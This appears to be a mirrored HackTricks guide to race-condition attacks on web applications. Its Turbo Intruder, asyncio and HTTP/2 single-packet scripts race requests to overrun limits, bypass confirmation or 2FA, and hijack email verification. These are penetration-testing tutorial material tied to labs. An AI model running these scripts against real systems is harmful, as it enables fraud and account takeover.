mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
440 lines
23 KiB
Markdown
440 lines
23 KiB
Markdown
# Race Condition
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
{% hint style="warning" %}
|
||
For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
{% endhint %}
|
||
|
||
## Enhancing Race Condition Attacks
|
||
|
||
The main hurdle in taking advantage of race conditions is making sure that multiple requests are handled at the same time, with **very little difference in their processing times—ideally, less than 1ms**.
|
||
|
||
Here you can find some techniques for Synchronizing Requests:
|
||
|
||
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
|
||
|
||
* **HTTP/2**: Supports sending two requests over a single TCP connection, reducing network jitter impact. However, due to server-side variations, two requests may not suffice for a consistent race condition exploit.
|
||
* **HTTP/1.1 'Last-Byte Sync'**: Enables the pre-sending of most parts of 20-30 requests, withholding a small fragment, which is then sent together, achieving simultaneous arrival at the server.
|
||
|
||
**Preparation for Last-Byte Sync** involves:
|
||
|
||
1. Sending headers and body data minus the final byte without ending the stream.
|
||
2. Pausing for 100ms post-initial send.
|
||
3. Disabling TCP\_NODELAY to utilize Nagle's algorithm for batching final frames.
|
||
4. Pinging to warm up the connection.
|
||
|
||
The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks.
|
||
|
||
### Adapting to Server Architecture
|
||
|
||
Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing.
|
||
|
||
#### Handling Session-Based Locking
|
||
|
||
Frameworks like PHP's session handler serialize requests by session, potentially obscuring vulnerabilities. Utilizing different session tokens for each request can circumvent this issue.
|
||
|
||
#### Overcoming Rate or Resource Limits
|
||
|
||
If connection warming is ineffective, triggering web servers' rate or resource limit delays intentionally through a flood of dummy requests might facilitate the single-packet attack by inducing a server-side delay conducive to race conditions.
|
||
|
||
## Attack Examples
|
||
|
||
* **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
|
||
|
||
<figure><img src="../.gitbook/assets/image (57).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
|
||
|
||
```python
|
||
passwords = wordlists.clipboard
|
||
for password in passwords:
|
||
engine.queue(target.req, password, gate='race1')
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
If the web doesn't support HTTP2 (only HTTP1.1) use `Engine.THREADED` or `Engine.BURP` instead of `Engine.BURP2`.
|
||
{% endhint %}
|
||
|
||
* **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like:
|
||
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=1,
|
||
engine=Engine.BURP2
|
||
)
|
||
|
||
# Hardcode the second request for the RC
|
||
confirmationReq = '''POST /confirm?token[]= HTTP/2
|
||
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
|
||
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
|
||
Content-Length: 0
|
||
|
||
'''
|
||
|
||
# For each attempt (20 in total) send 50 confirmation requests.
|
||
for attempt in range(20):
|
||
currentAttempt = str(attempt)
|
||
username = 'aUser' + currentAttempt
|
||
|
||
# queue a single registration request
|
||
engine.queue(target.req, username, gate=currentAttempt)
|
||
|
||
# queue 50 confirmation requests - note that this will probably sent in two separate packets
|
||
for i in range(50):
|
||
engine.queue(confirmationReq, gate=currentAttempt)
|
||
|
||
# send all the queued requests for this attempt
|
||
engine.openGate(currentAttempt)
|
||
```
|
||
|
||
* It's also available in **Repeater** via the new '**Send group in parallel**' option in Burp Suite.
|
||
* For **limit-overrun** you could just add the **same request 50 times** in the group.
|
||
* For **connection warming**, you could **add** at the **beginning** of the **group** some **requests** to some non static part of the web server.
|
||
* For **delaying** the process **between** processing **one request and another** in a 2 substates steps, you could **add extra requests between** both requests.
|
||
* For a **multi-endpoint** RC you could start sending the **request** that **goes to the hidden state** and then **50 requests** just after it that **exploits the hidden state**.
|
||
|
||
<figure><img src="../.gitbook/assets/image (58).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
* **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
|
||
When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
|
||
|
||
```python
|
||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||
# Script from victor to solve a HTB challenge
|
||
from h2spacex import H2OnTlsConnection
|
||
from time import sleep
|
||
from h2spacex import h2_frames
|
||
import requests
|
||
|
||
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
||
|
||
# change these headers
|
||
|
||
headersObjetivo= """accept: */*
|
||
content-type: application/x-www-form-urlencoded
|
||
Cookie: """+cookie+"""
|
||
Content-Length: 112
|
||
"""
|
||
|
||
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
||
|
||
headersVerification= """Content-Length: 1
|
||
Cookie: """+cookie+"""
|
||
"""
|
||
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
||
|
||
host = "94.237.56.46"
|
||
puerto =39697
|
||
|
||
|
||
url = "https://"+host+":"+str(puerto)+"/email/"
|
||
|
||
response = requests.get(url, verify=False)
|
||
|
||
|
||
while "objetivo" not in response.text:
|
||
|
||
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
||
|
||
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
||
#print(response.text)
|
||
# change this host name to new generated one
|
||
|
||
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
||
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
||
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
||
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
||
|
||
print(responseReset.status_code)
|
||
|
||
h2_conn = H2OnTlsConnection(
|
||
hostname=host,
|
||
port_number=puerto
|
||
)
|
||
|
||
h2_conn.setup_connection()
|
||
|
||
try_num = 100
|
||
|
||
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
||
|
||
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
||
all_data_frames = [] # all data frames which contain the last byte
|
||
|
||
|
||
for i in range(0, try_num):
|
||
last_data_frame_with_last_byte=''
|
||
if i == try_num/2:
|
||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
||
method='POST',
|
||
headers_string=headersObjetivo,
|
||
scheme='https',
|
||
stream_id=stream_ids_list[i],
|
||
authority=host,
|
||
body=bodyObjetivo,
|
||
path='/challenge/api/profile'
|
||
)
|
||
else:
|
||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
||
method='GET',
|
||
headers_string=headersVerification,
|
||
scheme='https',
|
||
stream_id=stream_ids_list[i],
|
||
authority=host,
|
||
body=".",
|
||
path='/challenge/api/sendVerification'
|
||
)
|
||
|
||
all_headers_frames.append(header_frames_without_last_byte)
|
||
all_data_frames.append(last_data_frame_with_last_byte)
|
||
|
||
|
||
# concatenate all headers bytes
|
||
temp_headers_bytes = b''
|
||
for h in all_headers_frames:
|
||
temp_headers_bytes += bytes(h)
|
||
|
||
# concatenate all data frames which have last byte
|
||
temp_data_bytes = b''
|
||
for d in all_data_frames:
|
||
temp_data_bytes += bytes(d)
|
||
|
||
h2_conn.send_bytes(temp_headers_bytes)
|
||
|
||
# wait some time
|
||
sleep(0.1)
|
||
|
||
# send ping frame to warm up connection
|
||
h2_conn.send_ping_frame()
|
||
|
||
# send remaining data frames
|
||
h2_conn.send_bytes(temp_data_bytes)
|
||
|
||
resp = h2_conn.read_response_from_socket(_timeout=3)
|
||
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
||
frame_parser.add_frames(resp)
|
||
frame_parser.show_response_of_sent_requests()
|
||
|
||
print('---')
|
||
|
||
sleep(3)
|
||
h2_conn.close_connection()
|
||
|
||
response = requests.get(url, verify=False)
|
||
```
|
||
|
||
### Improving Single Packet Attack
|
||
|
||
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. 
|
||
|
||
Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\
|
||
This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack).
|
||
|
||
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||
|
||
## Raw BF
|
||
|
||
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
|
||
|
||
* **Repeater:** Check the examples from the previous section.
|
||
* **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
|
||
* **Turbo Intruder**
|
||
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=5,
|
||
requestsPerConnection=1,
|
||
pipeline=False
|
||
)
|
||
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
|
||
for i in range(len(a)):
|
||
engine.queue(target.req,a[i], gate='race1')
|
||
# open TCP connections and send partial requests
|
||
engine.start(timeout=10)
|
||
engine.openGate('race1')
|
||
engine.complete(timeout=60)
|
||
|
||
def handleResponse(req, interesting):
|
||
table.add(req)
|
||
```
|
||
|
||
* **Python - asyncio**
|
||
|
||
```python
|
||
import asyncio
|
||
import httpx
|
||
|
||
async def use_code(client):
|
||
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
|
||
return resp.text
|
||
|
||
async def main():
|
||
async with httpx.AsyncClient() as client:
|
||
tasks = []
|
||
for _ in range(20): #20 times
|
||
tasks.append(asyncio.ensure_future(use_code(client)))
|
||
|
||
# Get responses
|
||
results = await asyncio.gather(*tasks, return_exceptions=True)
|
||
|
||
# Print results
|
||
for r in results:
|
||
print(r)
|
||
|
||
# Async2sync sleep
|
||
await asyncio.sleep(0.5)
|
||
print(results)
|
||
|
||
asyncio.run(main())
|
||
```
|
||
|
||
## **RC Methodology**
|
||
|
||
### Limit-overrun / TOCTOU
|
||
|
||
This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**
|
||
|
||
There are many variations of this kind of attack, including:
|
||
|
||
* Redeeming a gift card multiple times
|
||
* Rating a product multiple times
|
||
* Withdrawing or transferring cash in excess of your account balance
|
||
* Reusing a single CAPTCHA solution
|
||
* Bypassing an anti-brute-force rate limit
|
||
|
||
### **Hidden substates**
|
||
|
||
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **unintended machine substates**. Here’s how to approach this:
|
||
|
||
1. **Identify Potential Hidden Substates**
|
||
* Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
|
||
* **Storage**: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
|
||
* **Action**: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
|
||
* **Keying**: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
|
||
2. **Conduct Initial Probing**
|
||
* Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
|
||
3. **Demonstrate the Vulnerability**
|
||
* Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
|
||
|
||
### Time Sensitive Attacks
|
||
|
||
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
|
||
|
||
**To Exploit:**
|
||
|
||
* Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
|
||
|
||
**Example:**
|
||
|
||
* Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
|
||
|
||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
||
|
||
## Hidden substates case studies
|
||
|
||
### Pay & add an Item
|
||
|
||
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
|
||
|
||
### Confirm other emails
|
||
|
||
The idea is to **verify an email address and change it to a different one at the same time** to find out if the platform verifies the new one changed.
|
||
|
||
### Change email to 2 emails addresses Cookie based
|
||
|
||
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
|
||
|
||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
||
|
||
### Hidden Database states / Confirmation Bypass
|
||
|
||
If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
|
||
|
||
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
|
||
|
||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
||
|
||
### Bypass 2FA
|
||
|
||
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
|
||
|
||
```python
|
||
session['userid'] = user.userid
|
||
if user.mfa_enabled:
|
||
session['enforce_mfa'] = True
|
||
# generate and send MFA code to user
|
||
# redirect browser to MFA code entry form
|
||
```
|
||
|
||
### OAuth2 eternal persistence
|
||
|
||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
|
||
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||
|
||
#### Race Condition in `authorization_code`
|
||
|
||
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.
|
||
|
||
#### Race Condition in `Refresh Token`
|
||
|
||
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
|
||
|
||
## **RC in WebSockets**
|
||
|
||
In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
|
||
|
||
## References
|
||
|
||
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
||
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||
* [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
|